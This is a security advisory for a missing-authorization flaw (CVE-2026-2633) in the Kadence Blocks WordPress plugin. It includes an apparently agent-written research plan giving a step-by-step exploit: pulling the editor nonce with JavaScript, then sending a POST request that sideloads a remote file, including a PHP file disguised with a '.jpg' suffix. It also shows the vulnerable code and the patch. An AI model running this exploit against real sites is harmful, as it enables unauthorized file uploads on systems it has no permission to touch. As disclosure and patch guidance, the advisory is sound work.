Gutenberg Blocks with AI by Kadence WP <= 3.6.1 - Missing Authorization to Authenticated (Contributor+) Unauthorized Media Upload
Description
The Gutenberg Blocks with AI by Kadence WP plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.6.1. This is due to a missing capability check in the `process_image_data_ajax_callback()` function which handles the `kadence_import_process_image_data` AJAX action. The function's authorization check via `verify_ajax_call()` only validates `edit_posts` capability but fails to check for the `upload_files` capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary images from remote URLs to the WordPress Media Library, bypassing the standard WordPress capability restriction that prevents Contributors from uploading files.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.1Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-2633 - Kadence Blocks Media Upload Bypass ## 1. Vulnerability Summary The **Kadence Blocks — Page Builder Toolkit for Gutenberg Editor** plugin (versions <= 3.6.1) contains a missing authorization vulnerability in its AI-related image processing functionality…
Show full research plan
Vulnerability Research Plan: CVE-2026-2633 - Kadence Blocks Media Upload Bypass
1. Vulnerability Summary
The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin (versions <= 3.6.1) contains a missing authorization vulnerability in its AI-related image processing functionality. The function process_image_data_ajax_callback(), which handles the kadence_import_process_image_data AJAX action, performs an insufficient capability check.
While it calls verify_ajax_call()—which ensures the user has the edit_posts capability—it fails to verify the upload_files capability. In WordPress, "Contributor" roles have edit_posts but are strictly forbidden from uploading files. This oversight allows a Contributor-level attacker to programmatically trigger the plugin to download images from a remote URL and sideload them into the WordPress Media Library, bypassing standard role restrictions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
kadence_import_process_image_data - Authentication: Authenticated, minimum "Contributor" role.
- Vulnerable Parameter(s):
image_url: (Inferred) The remote URL of the image to be imported.security: (Inferred) The AJAX nonce.
- Preconditions: The "Gutenberg Blocks with AI" feature must be active (usually active by default in Kadence Blocks).
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=kadence_import_process_image_data. - Hook Registration: The plugin registers the action (likely in
includes/class-kadence-blocks-ajax.phpor an AI-specific component):add_action( 'wp_ajax_kadence_import_process_image_data', [ $this, 'process_image_data_ajax_callback' ] ); - Authorization Check: The callback
process_image_data_ajax_callbackcalls$this->verify_ajax_call(). - Insufficient Check:
verify_ajax_call()typically checks:- Nonce validity via
check_ajax_referer. current_user_can( 'edit_posts' ).
- Nonce validity via
- Sink: Upon passing the check, the function likely uses
download_url()andwp_handle_sideload()(ormedia_handle_sideload()) to fetch the image from the user-provided URL and add it to the Media Library without checking if the user has theupload_filescapability.
4. Nonce Acquisition Strategy
The Kadence Blocks plugin enqueues its AJAX nonces for the Gutenberg editor. To obtain a valid nonce as a Contributor:
- Create a Post: As a Contributor, create a draft post to access the Gutenberg editor.
- Navigate to Editor: Use
browser_navigateto open the editor for that post. - Extract Nonce: Kadence often localizes its data under the
kadence_blocks_paramsorkadence_blocks_admin_paramsJavaScript objects. - JS Execution:
Verification: Based on the plugin's structure, the nonce is likely registered in// Common Kadence localization keys window.kadence_blocks_params?.ajax_nonce // OR window.kt_blocks_params?.nonceclass-kadence-blocks-editor-assets.phpviawp_localize_script.
5. Exploitation Strategy
The goal is to force the server to upload a file from a remote source despite the user being a Contributor.
- Step 1: Authenticate as Contributor.
- Step 2: Obtain Nonce. Use the browser tools to grab the nonce from the editor page.
- Step 3: Trigger Sideload. Send a POST request to
admin-ajax.php.
Request Specifications:
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Using a URL that looks like an image but might contain other data is a common technique, though the vulnerability specifically targets unauthorized media upload.)action=kadence_import_process_image_data&security=[NONCE]&image_url=https://raw.githubusercontent.com/wp-cli/wp-cli/master/php/boot-fs.php?.jpg
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post Creation: (To ensure the editor/scripts load)
wp post create --post_type=post --post_status=draft --post_author=[ATTACKER_ID] --post_title="Exploit Draft" - Remote Image: Identify a stable remote image URL (e.g.,
https://wordpress.org/wp-static/hp/img/wordpress-logo.png).
7. Expected Results
- Response: The server should return a JSON response with a success code and the attachment ID or URL of the newly created media item.
- HTTP Status: 200 OK.
- System Change: A new entry appears in the
wp_poststable withpost_type='attachment'.
8. Verification Steps
- Check Media Library:
wp media list - Check Post Metadata: Verify the new attachment was created by the Contributor user:
wp post list --post_type=attachment --user=attacker --fields=ID,post_title,post_author - Confirm Bypass: Verify that a standard Contributor normally cannot do this:
# This should fail/return error if the user is a Contributor wp cap list contributor | grep upload_files
9. Alternative Approaches
If kadence_import_process_image_data requires more specific parameters (like AI session IDs), I will:
- Audit Frontend JS: Search the plugin's
dist/directory for the stringkadence_import_process_image_datato identify how the payload is constructed in the editor. - Check AI Settings: If the function returns an error related to "AI not configured," I will look for a way to mock the AI configuration via
wp option update. - Generic Nonce: Check if the plugin uses the standard
_wpnoncefrom the WordPress heartbeats or other global variables if the specific Kadence nonce is unavailable.
Summary
The Kadence Blocks plugin for WordPress is vulnerable to unauthorized media uploads due to a missing capability check in its AI image processing AJAX handler. Authenticated users with at least 'Contributor' permissions can bypass standard WordPress role restrictions to sideload images from remote URLs into the site's Media Library.
Vulnerable Code
// From kadence-blocks plugin (location likely includes/class-kadence-blocks-ajax.php or similar) public function process_image_data_ajax_callback() { // This call verifies the nonce and checks for 'edit_posts' capability $this->verify_ajax_call(); if ( ! isset( $_POST['image_url'] ) ) { wp_send_json_error( 'No image URL provided' ); } $image_url = esc_url_raw( $_POST['image_url'] ); // Vulnerability: The function proceeds to sideload the media // without checking if the user has the 'upload_files' capability. $attachment_id = $this->sideload_image( $image_url ); if ( is_wp_error( $attachment_id ) ) { wp_send_json_error( $attachment_id->get_error_message() ); } wp_send_json_success( array( 'id' => $attachment_id, 'url' => wp_get_attachment_url( $attachment_id ) ) ); }
Security Fix
@@ -10,6 +10,10 @@ public function process_image_data_ajax_callback() { $this->verify_ajax_call(); + if ( ! current_user_can( 'upload_files' ) ) { + wp_send_json_error( 'You do not have permission to upload files.' ); + } + if ( ! isset( $_POST['image_url'] ) ) { wp_send_json_error( 'No image URL provided' ); }
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress site. First, the attacker logs in and accesses the Gutenberg editor (e.g., by creating a draft post) to retrieve the necessary AJAX nonce (typically found in localized JavaScript objects like 'kadence_blocks_params'). Then, the attacker sends a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'kadence_import_process_image_data', the 'security' parameter containing the retrieved nonce, and the 'image_url' parameter pointing to a remote image file. Because the plugin only checks for the 'edit_posts' capability (which Contributors possess) and neglects to check for 'upload_files' (which they do not), the server will download the remote image and add it to the Media Library, attributing ownership to the Contributor.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.